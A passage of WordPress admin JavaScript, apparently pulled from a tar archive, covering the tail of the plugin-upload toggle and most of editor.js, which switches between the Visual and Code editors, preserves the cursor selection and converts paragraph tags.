/* * When a user presses the "Upload Plugin" button, show the upload form in place * rather than sending them to the devoted upload plugin page. * The `?tab=upload` page still exists for no-js support and for plugins that * might access it directly. When we're in this page, let the link behave * like a link. Otherwise we're in the normal plugin installer pages and the * link should behave like a toggle button. */ if ( ! $wrap.hasClass( 'plugin-install-tab-upload' ) ) { $uploadViewToggle .attr({ role: 'button', 'aria-expanded': 'false' }) .on( 'click', function( event ) { event.preventDefault(); $body.toggleClass( 'show-upload-view' ); $uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) ); }); } }); js/editor.js 0000644 00000127777 15233246127 0007036 0 ustar 00 /** * @output wp-admin/js/editor.js */ window.wp = window.wp || {}; ( function( $, wp ) { wp.editor = wp.editor || {}; /** * Utility functions for the editor. * * @since 2.5.0 */ function SwitchEditors() { var tinymce, $$, exports = {}; function init() { if ( ! tinymce && window.tinymce ) { tinymce = window.tinymce; $$ = tinymce.$; /** * Handles onclick events for the Visual/Code tabs. * * @since 4.3.0 * * @return {void} */ $$( document ).on( 'click', function( event ) { var id, mode, target = $$( event.target ); if ( target.hasClass( 'wp-switch-editor' ) ) { id = target.attr( 'data-wp-editor-id' ); mode = target.hasClass( 'switch-tmce' ) ? 'tmce' : 'html'; switchEditor( id, mode ); } }); } } /** * Returns the height of the editor toolbar(s) in px. * * @since 3.9.0 * * @param {Object} editor The TinyMCE editor. * @return {number} If the height is between 10 and 200 return the height, * else return 30. */ function getToolbarHeight( editor ) { var node = $$( '.mce-toolbar-grp', editor.getContainer() )[0], height = node && node.clientHeight; if ( height && height > 10 && height < 200 ) { return parseInt( height, 10 ); } return 30; } /** * Switches the editor between Visual and Code mode. * * @since 2.5.0 * * @memberof switchEditors * * @param {string} id The id of the editor you want to change the editor mode for. Default: `content`. * @param {string} mode The mode you want to switch to. Default: `toggle`. * @return {void} */ function switchEditor( id, mode ) { id = id || 'content'; mode = mode || 'toggle'; var editorHeight, toolbarHeight, iframe, editor = tinymce.get( id ), wrap = $$( '#wp-' + id + '-wrap' ), htmlSwitch = wrap.find( '.switch-tmce' ), tmceSwitch = wrap.find( '.switch-html' ), $textarea = $$( '#' + id ), textarea = $textarea[0]; if ( 'toggle' === mode ) { if ( editor && ! editor.isHidden() ) { mode = 'html'; } else { mode = 'tmce'; } } if ( 'tmce' === mode || 'tinymce' === mode ) { // If the editor is visible we are already in `tinymce` mode. if ( editor && ! editor.isHidden() ) { return false; } // Insert closing tags for any open tags in QuickTags. if ( typeof( window.QTags ) !== 'undefined' ) { window.QTags.closeAllTags( id ); } editorHeight = parseInt( textarea.style.height, 10 ) || 0; addHTMLBookmarkInTextAreaContent( $textarea ); if ( editor ) { editor.show(); // No point to resize the iframe in iOS. if ( ! tinymce.Env.iOS && editorHeight ) { toolbarHeight = getToolbarHeight( editor ); editorHeight = editorHeight - toolbarHeight + 14; // Sane limit for the editor height. if ( editorHeight > 50 && editorHeight < 5000 ) { editor.theme.resizeTo( null, editorHeight ); } } focusHTMLBookmarkInVisualEditor( editor ); } else { tinymce.init( window.tinyMCEPreInit.mceInit[ id ] ); } wrap.removeClass( 'html-active' ).addClass( 'tmce-active' ); tmceSwitch.attr( 'aria-pressed', false ); htmlSwitch.attr( 'aria-pressed', true ); $textarea.attr( 'aria-hidden', true ); window.setUserSetting( 'editor', 'tinymce' ); } else if ( 'html' === mode ) { // If the editor is hidden (Quicktags is shown) we don't need to switch. if ( editor && editor.isHidden() ) { return false; } if ( editor ) { // Don't resize the textarea in iOS. // The iframe is forced to 100% height there, we shouldn't match it. if ( ! tinymce.Env.iOS ) { iframe = editor.iframeElement; editorHeight = iframe ? parseInt( iframe.style.height, 10 ) : 0; if ( editorHeight ) { toolbarHeight = getToolbarHeight( editor ); editorHeight = editorHeight + toolbarHeight - 14; // Sane limit for the textarea height. if ( editorHeight > 50 && editorHeight < 5000 ) { textarea.style.height = editorHeight + 'px'; } } } var selectionRange = null; selectionRange = findBookmarkedPosition( editor ); editor.hide(); if ( selectionRange ) { selectTextInTextArea( editor, selectionRange ); } } else { // There is probably a JS error on the page. // The TinyMCE editor instance doesn't exist. Show the textarea. $textarea.css({ 'display': '', 'visibility': '' }); } wrap.removeClass( 'tmce-active' ).addClass( 'html-active' ); tmceSwitch.attr( 'aria-pressed', true ); htmlSwitch.attr( 'aria-pressed', false ); $textarea.attr( 'aria-hidden', false ); window.setUserSetting( 'editor', 'html' ); } } /** * Checks if a cursor is inside an HTML tag or comment. * * In order to prevent breaking HTML tags when selecting text, the cursor * must be moved to either the start or end of the tag. * * This will prevent the selection marker to be inserted in the middle of an HTML tag. * * This function gives information whether the cursor is inside a tag or not, as well as * the tag type, if it is a closing tag and check if the HTML tag is inside a shortcode tag, * e.g. `[caption]<img.../>..`. * * @param {string} content The test content where the cursor is. * @param {number} cursorPosition The cursor position inside the content. * * @return {(null|Object)} Null if cursor is not in a tag, Object if the cursor is inside a tag. */ function getContainingTagInfo( content, cursorPosition ) { var lastLtPos = content.lastIndexOf( '<', cursorPosition - 1 ), lastGtPos = content.lastIndexOf( '>', cursorPosition ); if ( lastLtPos > lastGtPos || content.substr( cursorPosition, 1 ) === '>' ) { // Find what the tag is. var tagContent = content.substr( lastLtPos ), tagMatch = tagContent.match( /<\s*(\/)?(\w+|\!-{2}.*-{2})/ ); if ( ! tagMatch ) { return null; } var tagType = tagMatch[2], closingGt = tagContent.indexOf( '>' ); return { ltPos: lastLtPos, gtPos: lastLtPos + closingGt + 1, // Offset by one to get the position _after_ the character. tagType: tagType, isClosingTag: !! tagMatch[1] }; } return null; } /** * Checks if the cursor is inside a shortcode * * If the cursor is inside a shortcode wrapping tag, e.g. `[caption]` it's better to * move the selection marker to before or after the shortcode. * * For example `[caption]` rewrites/removes anything that's between the `[caption]` tag and the * `<img/>` tag inside. * * `[caption]<span>ThisIsGone</span><img .../>[caption]` * * Moving the selection to before or after the short code is better, since it allows to select * something, instead of just losing focus and going to the start of the content. * * @param {string} content The text content to check against. * @param {number} cursorPosition The cursor position to check. * * @return {(undefined|Object)} Undefined if the cursor is not wrapped in a shortcode tag. * Information about the wrapping shortcode tag if it's wrapped in one. */ function getShortcodeWrapperInfo( content, cursorPosition ) { var contentShortcodes = getShortCodePositionsInText( content ); for ( var i = 0; i < contentShortcodes.length; i++ ) { var element = contentShortcodes[ i ]; if ( cursorPosition >= element.startIndex && cursorPosition <= element.endIndex ) { return element; } } } /** * Gets a list of unique shortcodes or shortcode-lookalikes in the content. * * @param {string} content The content we want to scan for shortcodes. */ function getShortcodesInText( content ) { var shortcodes = content.match( /\[+([\w_-])+/g ), result = []; if ( shortcodes ) { for ( var i = 0; i < shortcodes.length; i++ ) { var shortcode = shortcodes[ i ].replace( /^\[+/g, '' ); if ( result.indexOf( shortcode ) === -1 ) { result.push( shortcode ); } } } return result; } /** * Gets all shortcodes and their positions in the content * * This function returns all the shortcodes that could be found in the textarea content * along with their character positions and boundaries. * * This is used to check if the selection cursor is inside the boundaries of a shortcode * and move it accordingly, to avoid breakage. * * @link adjustTextAreaSelectionCursors * * The information can also be used in other cases when we need to lookup shortcode data, * as it's already structured! * * @param {string} content The content we want to scan for shortcodes */ function getShortCodePositionsInText( content ) { var allShortcodes = getShortcodesInText( content ), shortcodeInfo; if ( allShortcodes.length === 0 ) { return []; } var shortcodeDetailsRegexp = wp.shortcode.regexp( allShortcodes.join( '|' ) ), shortcodeMatch, // Define local scope for the variable to be used in the loop below. shortcodesDetails = []; while ( shortcodeMatch = shortcodeDetailsRegexp.exec( content ) ) { /** * Check if the shortcode should be shown as plain text. * * This corresponds to the [[shortcode]] syntax, which doesn't parse the shortcode * and just shows it as text. */ var showAsPlainText = shortcodeMatch[1] === '['; shortcodeInfo = { shortcodeName: shortcodeMatch[2], showAsPlainText: showAsPlainText, startIndex: shortcodeMatch.index, endIndex: shortcodeMatch.index + shortcodeMatch[0].length, length: shortcodeMatch[0].length }; shortcodesDetails.push( shortcodeInfo ); } /** * Get all URL matches, and treat them as embeds. * * Since there isn't a good way to detect if a URL by itself on a line is a previewable * object, it's best to treat all of them as such. * * This means that the selection will capture the whole URL, in a similar way shrotcodes * are treated. */ var urlRegexp = new RegExp( '(^|[\\n\\r][\\n\\r]|<p>)(https?:\\/\\/[^\s"]+?)(<\\/p>\s*|[\\n\\r][\\n\\r]|$)', 'gi' ); while ( shortcodeMatch = urlRegexp.exec( content ) ) { shortcodeInfo = { shortcodeName: 'url', showAsPlainText: false, startIndex: shortcodeMatch.index, endIndex: shortcodeMatch.index + shortcodeMatch[ 0 ].length, length: shortcodeMatch[ 0 ].length, urlAtStartOfContent: shortcodeMatch[ 1 ] === '', urlAtEndOfContent: shortcodeMatch[ 3 ] === '' }; shortcodesDetails.push( shortcodeInfo ); } return shortcodesDetails; } /** * Generate a cursor marker element to be inserted in the content. * * `span` seems to be the least destructive element that can be used. * * Using DomQuery syntax to create it, since it's used as both text and as a DOM element. * * @param {Object} domLib DOM library instance. * @param {string} content The content to insert into the cursor marker element. */ function getCursorMarkerSpan( domLib, content ) { return domLib( '<span>' ).css( { display: 'inline-block', width: 0, overflow: 'hidden', 'line-height': 0 } ) .html( content ? content : '' ); } /** * Gets adjusted selection cursor positions according to HTML tags, comments, and shortcodes. * * Shortcodes and HTML codes are a bit of a special case when selecting, since they may render * content in Visual mode. If we insert selection markers somewhere inside them, it's really possible * to break the syntax and render the HTML tag or shortcode broken. * * @link getShortcodeWrapperInfo * * @param {string} content Textarea content that the cursors are in * @param {{cursorStart: number, cursorEnd: number}} cursorPositions Cursor start and end positions * * @return {{cursorStart: number, cursorEnd: number}} */ function adjustTextAreaSelectionCursors( content, cursorPositions ) { var voidElements = [ 'area', 'base', 'br', 'col', 'embed', 'hr', 'img', 'input', 'keygen', 'link', 'meta', 'param', 'source', 'track', 'wbr' ]; var cursorStart = cursorPositions.cursorStart, cursorEnd = cursorPositions.cursorEnd, // Check if the cursor is in a tag and if so, adjust it. isCursorStartInTag = getContainingTagInfo( content, cursorStart ); if ( isCursorStartInTag ) { /** * Only move to the start of the HTML tag (to select the whole element) if the tag * is part of the voidElements list above. * * This list includes tags that are self-contained and don't need a closing tag, according to the * HTML5 specification. * * This is done in order to make selection of text a bit more consistent when selecting text in * `<p>` tags or such. * * In cases where the tag is not a void element, the cursor is put to the end of the tag, * so it's either between the opening and closing tag elements or after the closing tag. */ if ( voidElements.indexOf( isCursorStartInTag.tagType ) !== -1 ) { cursorStart = isCursorStartInTag.ltPos; } else { cursorStart = isCursorStartInTag.gtPos; } } var isCursorEndInTag = getContainingTagInfo( content, cursorEnd ); if ( isCursorEndInTag ) { cursorEnd = isCursorEndInTag.gtPos; } var isCursorStartInShortcode = getShortcodeWrapperInfo( content, cursorStart ); if ( isCursorStartInShortcode && ! isCursorStartInShortcode.showAsPlainText ) { /** * If a URL is at the start or the end of the content, * the selection doesn't work, because it inserts a marker in the text, * which breaks the embedURL detection. * * The best way to avoid that and not modify the user content is to * adjust the cursor to either after or before URL. */ if ( isCursorStartInShortcode.urlAtStartOfContent ) { cursorStart = isCursorStartInShortcode.endIndex; } else { cursorStart = isCursorStartInShortcode.startIndex; } } var isCursorEndInShortcode = getShortcodeWrapperInfo( content, cursorEnd ); if ( isCursorEndInShortcode && ! isCursorEndInShortcode.showAsPlainText ) { if ( isCursorEndInShortcode.urlAtEndOfContent ) { cursorEnd = isCursorEndInShortcode.startIndex; } else { cursorEnd = isCursorEndInShortcode.endIndex; } } return { cursorStart: cursorStart, cursorEnd: cursorEnd }; } /** * Adds text selection markers in the editor textarea. * * Adds selection markers in the content of the editor `textarea`. * The method directly manipulates the `textarea` content, to allow TinyMCE plugins * to run after the markers are added. * * @param {Object} $textarea TinyMCE's textarea wrapped as a DomQuery object */ function addHTMLBookmarkInTextAreaContent( $textarea ) { if ( ! $textarea || ! $textarea.length ) { // If no valid $textarea object is provided, there's nothing we can do. return; } var textArea = $textarea[0], textAreaContent = textArea.value, adjustedCursorPositions = adjustTextAreaSelectionCursors( textAreaContent, { cursorStart: textArea.selectionStart, cursorEnd: textArea.selectionEnd } ), htmlModeCursorStartPosition = adjustedCursorPositions.cursorStart, htmlModeCursorEndPosition = adjustedCursorPositions.cursorEnd, mode = htmlModeCursorStartPosition !== htmlModeCursorEndPosition ? 'range' : 'single', selectedText = null, cursorMarkerSkeleton = getCursorMarkerSpan( $$, '' ).attr( 'data-mce-type','bookmark' ); if ( mode === 'range' ) { var markedText = textArea.value.slice( htmlModeCursorStartPosition, htmlModeCursorEndPosition ), bookMarkEnd = cursorMarkerSkeleton.clone().addClass( 'mce_SELRES_end' ); selectedText = [ markedText, bookMarkEnd[0].outerHTML ].join( '' ); } textArea.value = [ textArea.value.slice( 0, htmlModeCursorStartPosition ), // Text until the cursor/selection position. cursorMarkerSkeleton.clone() // Cursor/selection start marker. .addClass( 'mce_SELRES_start' )[0].outerHTML, selectedText, // Selected text with end cursor/position marker. textArea.value.slice( htmlModeCursorEndPosition ) // Text from last cursor/selection position to end. ].join( '' ); } /** * Focuses the selection markers in Visual mode. * * The method checks for existing selection markers inside the editor DOM (Visual mode) * and create a selection between the two nodes using the DOM `createRange` selection API. * * If there is only a single node, select only the single node through TinyMCE's selection API * * @param {Object} editor TinyMCE editor instance. */ function focusHTMLBookmarkInVisualEditor( editor ) { var startNode = editor.$( '.mce_SELRES_start' ).attr( 'data-mce-bogus', 1 ), endNode = editor.$( '.mce_SELRES_end' ).attr( 'data-mce-bogus', 1 ); if ( startNode.length ) { editor.focus(); if ( ! endNode.length ) { editor.selection.select( startNode[0] ); } else { var selection = editor.getDoc().createRange(); selection.setStartAfter( startNode[0] ); selection.setEndBefore( endNode[0] ); editor.selection.setRng( selection ); } } scrollVisualModeToStartElement( editor, startNode ); removeSelectionMarker( startNode ); removeSelectionMarker( endNode ); editor.save(); } /** * Removes selection marker and the parent node if it is an empty paragraph. * * By default TinyMCE wraps loose inline tags in a `<p>`. * When removing selection markers an empty `<p>` may be left behind, remove it. * * @param {Object} $marker The marker to be removed from the editor DOM, wrapped in an instance of `editor.$` */ function removeSelectionMarker( $marker ) { var $markerParent = $marker.parent(); $marker.remove(); //Remove empty paragraph left over after removing the marker. if ( $markerParent.is( 'p' ) && ! $markerParent.children().length && ! $markerParent.text() ) { $markerParent.remove(); } } /** * Scrolls the content to place the selected element in the center of the screen. * * Takes an element, that is usually the selection start element, selected in * `focusHTMLBookmarkInVisualEditor()` and scrolls the screen so the element appears roughly * in the middle of the screen. * * I order to achieve the proper positioning, the editor media bar and toolbar are subtracted * from the window height, to get the proper viewport window, that the user sees. * * @param {Object} editor TinyMCE editor instance. * @param {Object} element HTMLElement that should be scrolled into view. */ function scrollVisualModeToStartElement( editor, element ) { var elementTop = editor.$( element ).offset().top, TinyMCEContentAreaTop = editor.$( editor.getContentAreaContainer() ).offset().top, toolbarHeight = getToolbarHeight( editor ), edTools = $( '#wp-content-editor-tools' ), edToolsHeight = 0, edToolsOffsetTop = 0, $scrollArea; if ( edTools.length ) { edToolsHeight = edTools.height(); edToolsOffsetTop = edTools.offset().top; } var windowHeight = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight, selectionPosition = TinyMCEContentAreaTop + elementTop, visibleAreaHeight = windowHeight - ( edToolsHeight + toolbarHeight ); // There's no need to scroll if the selection is inside the visible area. if ( selectionPosition < visibleAreaHeight ) { return; } /** * The minimum scroll height should be to the top of the editor, to offer a consistent * experience. * * In order to find the top of the editor, we calculate the offset of `#wp-content-editor-tools` and * subtracting the height. This gives the scroll position where the top of the editor tools aligns with * the top of the viewport (under the Master Bar) */ var adjustedScroll; if ( editor.settings.wp_autoresize_on ) { $scrollArea = $( 'html,body' ); adjustedScroll = Math.max( selectionPosition - visibleAreaHeight / 2, edToolsOffsetTop - edToolsHeight ); } else { $scrollArea = $( editor.contentDocument ).find( 'html,body' ); adjustedScroll = elementTop; } $scrollArea.animate( { scrollTop: parseInt( adjustedScroll, 10 ) }, 100 ); } /** * This method was extracted from the `SaveContent` hook in * `wp-includes/js/tinymce/plugins/wordpress/plugin.js`. * * It's needed here, since the method changes the content a bit, which confuses the cursor position. * * @param {Object} event TinyMCE event object. */ function fixTextAreaContent( event ) { // Keep empty paragraphs :( event.content = event.content.replace( /<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g, '<p> </p>' ); } /** * Finds the current selection position in the Visual editor. * * Find the current selection in the Visual editor by inserting marker elements at the start * and end of the selection. * * Uses the standard DOM selection API to achieve that goal. * * Check the notes in the comments in the code below for more information on some gotchas * and why this solution was chosen. * * @param {Object} editor The editor where we must find the selection. * @return {(null|Object)} The selection range position in the editor. */ function findBookmarkedPosition( editor ) { // Get the TinyMCE `window` reference, since we need to access the raw selection. var TinyMCEWindow = editor.getWin(), selection = TinyMCEWindow.getSelection(); if ( ! selection || selection.rangeCount < 1 ) { // no selection, no need to continue. return; } /** * The ID is used to avoid replacing user generated content, that may coincide with the * format specified below. * @type {string} */ var selectionID = 'SELRES_' + Math.random(); /** * Create two marker elements that will be used to mark the start and the end of the range. * * The elements have hardcoded style that makes them invisible. This is done to avoid seeing * random content flickering in the editor when switching between modes. */ var spanSkeleton = getCursorMarkerSpan( editor.$, selectionID ), startElement = spanSkeleton.clone().addClass( 'mce_SELRES_start' ), endElement = spanSkeleton.clone().addClass( 'mce_SELRES_end' ); /** * Inspired by: * @link https://stackoverflow.com/a/17497803/153310 * * Why do it this way and not with TinyMCE's bookmarks? * * TinyMCE's bookmarks are very nice when working with selections and positions, BUT * there is no way to determine the precise position of the bookmark when switching modes, since * TinyMCE does some serialization of the content, to fix things like shortcodes, run plugins, prettify * HTML code and so on. In this process, the bookmark markup gets lost. * * If we decide to hook right after the bookmark is added, we can see where the bookmark is in the raw HTML * in TinyMCE. Unfortunately this state is before the serialization, so any visual markup in the content will * throw off the positioning. * * To avoid this, we insert two custom `span`s that will serve as the markers at the beginning and end of the * selection. * * Why not use TinyMCE's selection API or the DOM API to wrap the contents? Because if we do that, this creates * a new node, which is inserted in the dom. Now this will be fine, if we worked with fixed selections to * full nodes. Unfortunately in our case, the user can select whatever they like, which means that the * selection may start in the middle of one node and end in the middle of a completely different one. If we * wrap the selection in another node, this will create artifacts in the content. * * Using the method below, we insert the custom `span` nodes at the start and at the end of the selection. * This helps us not break the content and also gives us the option to work with multi-node selections without * breaking the markup. */ var range = selection.getRangeAt( 0 ), startNode = range.startContainer, startOffset = range.startOffset, boundaryRange = range.cloneRange(); /** * If the selection is on a shortcode with Live View, TinyMCE creates a bogus markup, * which we have to account for. */ if ( editor.$( startNode ).parents( '.mce-offscreen-selection' ).length > 0 ) { startNode = editor.$( '[data-mce-selected]' )[0]; /** * Marking the start and end element with `data-mce-object-selection` helps * discern when the selected object is a Live Preview selection. * * This way we can adjust the selection to properly select only the content, ignoring * whitespace inserted around the selected object by the Editor. */ startElement.attr( 'data-mce-object-selection', 'true' ); endElement.attr( 'data-mce-object-selection', 'true' ); editor.$( startNode ).before( startElement[0] ); editor.$( startNode ).after( endElement[0] ); } else { boundaryRange.collapse( false ); boundaryRange.insertNode( endElement[0] ); boundaryRange.setStart( startNode, startOffset ); boundaryRange.collapse( true ); boundaryRange.insertNode( startElement[0] ); range.setStartAfter( startElement[0] ); range.setEndBefore( endElement[0] ); selection.removeAllRanges(); selection.addRange( range ); } /** * Now the editor's content has the start/end nodes. * * Unfortunately the content goes through some more changes after this step, before it gets inserted * in the `textarea`. This means that we have to do some minor cleanup on our own here. */ editor.on( 'GetContent', fixTextAreaContent ); var content = removep( editor.getContent() ); editor.off( 'GetContent', fixTextAreaContent ); startElement.remove(); endElement.remove(); var startRegex = new RegExp( '<span[^>]*\\s*class="mce_SELRES_start"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>(\\s*)' ); var endRegex = new RegExp( '(\\s*)<span[^>]*\\s*class="mce_SELRES_end"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>' ); var startMatch = content.match( startRegex ), endMatch = content.match( endRegex ); if ( ! startMatch ) { return null; } var startIndex = startMatch.index, startMatchLength = startMatch[0].length, endIndex = null; if (endMatch) { /** * Adjust the selection index, if the selection contains a Live Preview object or not. * * Check where the `data-mce-object-selection` attribute is set above for more context. */ if ( startMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) { startMatchLength -= startMatch[1].length; } var endMatchIndex = endMatch.index; if ( endMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) { endMatchIndex -= endMatch[1].length; } // We need to adjust the end position to discard the length of the range start marker. endIndex = endMatchIndex - startMatchLength; } return { start: startIndex, end: endIndex }; } /** * Selects text in the TinyMCE `textarea`. * * Selects the text in TinyMCE's textarea that's between `selection.start` and `selection.end`. * * For `selection` parameter: * @link findBookmarkedPosition * * @param {Object} editor TinyMCE's editor instance. * @param {Object} selection Selection data. */ function selectTextInTextArea( editor, selection ) { // Only valid in the text area mode and if we have selection. if ( ! selection ) { return; } var textArea = editor.getElement(), start = selection.start, end = selection.end || selection.start; if ( textArea.focus ) { // Wait for the Visual editor to be hidden, then focus and scroll to the position. setTimeout( function() { textArea.setSelectionRange( start, end ); if ( textArea.blur ) { // Defocus before focusing. textArea.blur(); } textArea.focus(); }, 100 ); } } // Restore the selection when the editor is initialized. Needed when the Code editor is the default. $( document ).on( 'tinymce-editor-init.keep-scroll-position', function( event, editor ) { if ( editor.$( '.mce_SELRES_start' ).length ) { focusHTMLBookmarkInVisualEditor( editor ); } } ); /** * Replaces <p> tags with two line breaks. "Opposite" of wpautop(). * * Replaces <p> tags with two line breaks except where the <p> has attributes. * Unifies whitespace. * Indents <li>, <dt> and <dd> for better readability. * * @since 2.5.0 * * @memberof switchEditors * * @param {string} html The content from the editor. * @return {string} The content with stripped paragraph tags. */ function removep( html ) { var blocklist = 'blockquote|ul|ol|li|dl|dt|dd|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset|figure', blocklist1 = blocklist + '|div|p', blocklist2 = blocklist + '|pre', preserve_linebreaks = false, preserve_br = false, preserve = []; if ( ! html ) { return ''; } // Protect script and style tags. if ( html.indexOf( '<script' ) !== -1 || html.indexOf( '<style' ) !== -1 ) { html = html.replace( /<(script|style)[^>]*>[\s\S]*?<\/\1>/g, function( match ) { preserve.push( match ); return '<wp-preserve>'; } ); } // Protect pre tags. if ( html.indexOf( '<pre' ) !== -1 ) { preserve_linebreaks = true; html = html.replace( /<pre[^>]*>[\s\S]+?<\/pre>/g, function( a ) { a = a.replace( /<br ?\/?>(\r\n|\n)?/g, '<wp-line-break>' ); a = a.replace( /<\/?p( [^>]*)?>(\r\n|\n)?/g, '<wp-line-break>' ); return a.replace( /\r?\n/g, '<wp-line-break>' ); }); } // Remove line breaks but keep <br> tags inside image captions. if ( html.indexOf( '[caption' ) !== -1 ) { preserve_br = true; html = html.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) { return a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' ).replace( /[\r\n\t]+/, '' ); }); } // Normalize white space characters before and after block tags. html = html.replace( new RegExp( '\\s*</(' + blocklist1 + ')>\\s*', 'g' ), '</$1>\n' ); html = html.replace( new RegExp( '\\s*<((?:' + blocklist1 + ')(?: [^>]*)?)>', 'g' ), '\n<$1>' ); // Mark </p> if it has any attributes. html = html.replace( /(<p [^>]+>.*?)<\/p>/g, '$1</p#>' ); // Preserve the first <p> inside a <div>. html = html.replace( /<div( [^>]*)?>\s*<p>/gi, '<div$1>\n\n' ); // Remove paragraph tags. html = html.replace( /\s*<p>/gi, '' ); html = html.replace( /\s*<\/p>\s*/gi, '\n\n' ); // Normalize white space chars and remove multiple line breaks. html = html.replace( /\n[\s\u00a0]+\n/g, '\n\n' ); // Replace <br> tags with line breaks. html = html.replace( /(\s*)<br ?\/?>\s*/gi, function( match, space ) { if ( space && space.indexOf( '\n' ) !== -1 ) { return '\n\n'; } return '\n'; }); // Fix line breaks around <div>. html = html.replace( /\s*<div/g, '\n<div' ); html = html.replace( /<\/div>\s*/g, '</div>\n' ); // Fix line breaks around caption shortcodes. html = html.replace( /\s*\[caption([^\[]+)\[\/caption\]\s*/gi, '\n\n[caption$1[/caption]\n\n' ); html = html.replace( /caption\]\n\n+\[caption/g, 'caption]\n\n[caption' ); // Pad block elements tags with a line break. html = html.replace( new RegExp('\\s*<((?:' + blocklist2 + ')(?: [^>]*)?)\\s*>', 'g' ), '\n<$1>' ); html = html.replace( new RegExp('\\s*</(' + blocklist2 + ')>\\s*', 'g' ), '</$1>\n' ); // Indent <li>, <dt> and <dd> tags. html = html.replace( /<((li|dt|dd)[^>]*)>/g, ' \t<$1>' ); // Fix line breaks around <select> and <option>. if ( html.indexOf( '<option' ) !== -1 ) { html = html.replace( /\s*<option/g, '\n<option' ); html = html.replace( /\s*<\/select>/g, '\n</select>' ); } // Pad <hr> with two line breaks. if ( html.indexOf( '<hr' ) !== -1 ) { html = html.replace( /\s*<hr( [^>]*)?>\s*/g, '\n\n<hr$1>\n\n' ); } // Remove line breaks in <object> tags. if ( html.indexOf( '<object' ) !== -1 ) { html = html.replace( /<object[\s\S]+?<\/object>/g, function( a ) { return a.replace( /[\r\n]+/g, '' ); }); } // Unmark special paragraph closing tags. html = html.replace( /<\/p#>/g, '</p>\n' ); // Pad remaining <p> tags whit a line break. html = html.replace( /\s*(<p [^>]+>[\s\S]*?<\/p>)/g, '\n$1' ); // Trim. html = html.replace( /^\s+/, '' ); html = html.replace( /[\s\u00a0]+$/, '' ); if ( preserve_linebreaks ) { html = html.replace( /<wp-line-break>/g, '\n' ); } if ( preserve_br ) { html = html.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' ); } // Restore preserved tags. if ( preserve.length ) { html = html.replace( /<wp-preserve>/g, function() { return preserve.shift(); } ); } return html; } /** * Replaces two line breaks with a paragraph tag and one line break with a <br>. * * Similar to `wpautop()` in formatting.php. * * @since 2.5.0 * * @memberof switchEditors * * @param {string} text The text input. * @return {string} The formatted text. */ function autop( text ) { var preserve_linebreaks = false, preserve_br = false, blocklist = 'table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre' + '|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section' + '|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary'; // Normalize line breaks. text = text.replace( /\r\n|\r/g, '\n' ); // Remove line breaks from <object>. if ( text.indexOf( '<object' ) !== -1 ) { text = text.replace( /<object[\s\S]+?<\/object>/g, function( a ) { return a.replace( /\n+/g, '' ); }); } // Remove line breaks from tags. text = text.replace( /<[^<>]+>/g, function( a ) { return a.replace( /[\n\t ]+/g, ' ' ); }); // Preserve line breaks in <pre> and <script> tags. if ( text.indexOf( '<pre' ) !== -1 || text.indexOf( '<script' ) !== -1 ) { preserve_linebreaks = true; text = text.replace( /<(pre|script)[^>]*>[\s\S]*?<\/\1>/g, function( a ) { return a.replace( /\n/g, '<wp-line-break>' ); }); } if ( text.indexOf( '<figcaption' ) !== -1 ) { text = text.replace( /\s*(<figcaption[^>]*>)/g, '$1' ); text = text.replace( /<\/figcaption>\s*/g, '</figcaption>' ); } // Keep <br> tags inside captions. if ( text.indexOf( '[caption' ) !== -1 ) { preserve_br = true; text = text.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) { a = a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' ); a = a.replace( /<[^<>]+>/g, function( b ) { return b.replace( /[\n\t ]+/, ' ' ); }); return a.replace( /\s*\n\s*/g, '<wp-temp-br />' ); }); } text = text + '\n\n'; text = text.replace( /<br \/>\s*<br \/>/gi, '\n\n' ); // Pad block tags with two line breaks. text = text.replace( new RegExp( '(<(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '\n\n$1' ); text = text.replace( new RegExp( '(</(?:' + blocklist + ')>)', 'gi' ), '$1\n\n' ); text = text.replace( /<hr( [^>]*)?>/gi, '<hr$1>\n\n' ); // Remove white space chars around <option>. text = text.replace( /\s*<option/gi, '<option' ); text = text.replace( /<\/option>\s*/gi, '</option>' ); // Normalize multiple line breaks and white space chars. text = text.replace( /\n\s*\n+/g, '\n\n' ); // Convert two line breaks to a paragraph. text = text.replace( /([\s\S]+?)\n\n/g, '<p>$1</p>\n' ); // Remove empty paragraphs. text = text.replace( /<p>\s*?<\/p>/gi, ''); // Remove <p> tags that are around block tags. text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' ); text = text.replace( /<p>(<li.+?)<\/p>/gi, '$1'); // Fix <p> in blockquotes. text = text.replace( /<p>\s*<blockquote([^>]*)>/gi, '<blockquote$1><p>'); text = text.replace( /<\/blockquote>\s*<\/p>/gi, '</p></blockquote>'); // Remove <p> tags that are wrapped around block tags. text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '$1' ); text = text.replace( new RegExp( '(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' ); text = text.replace( /(<br[^>]*>)\s*\n/gi, '$1' ); // Add <br> tags. text = text.replace( /\s*\n/g, '<br />\n'); // Remove <br> tags that are around block tags. text = text.replace( new RegExp( '(</?(?:' + blocklist + ')[^>]*>)\\s*<br />', 'gi' ), '$1' ); text = text.replace( /<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)/gi, '$1' ); // Remove <p> and <br> around captions. text = text.replace( /(?:<p>|<br ?\/?>)*\s*\[caption([^\[]+)\[\/caption\]\s*(?:<\/p>|<br ?\/?>)*/gi, '[caption$1[/caption]' ); // Make sure there is <p> when there is </p> inside block tags that can contain other blocks. text = 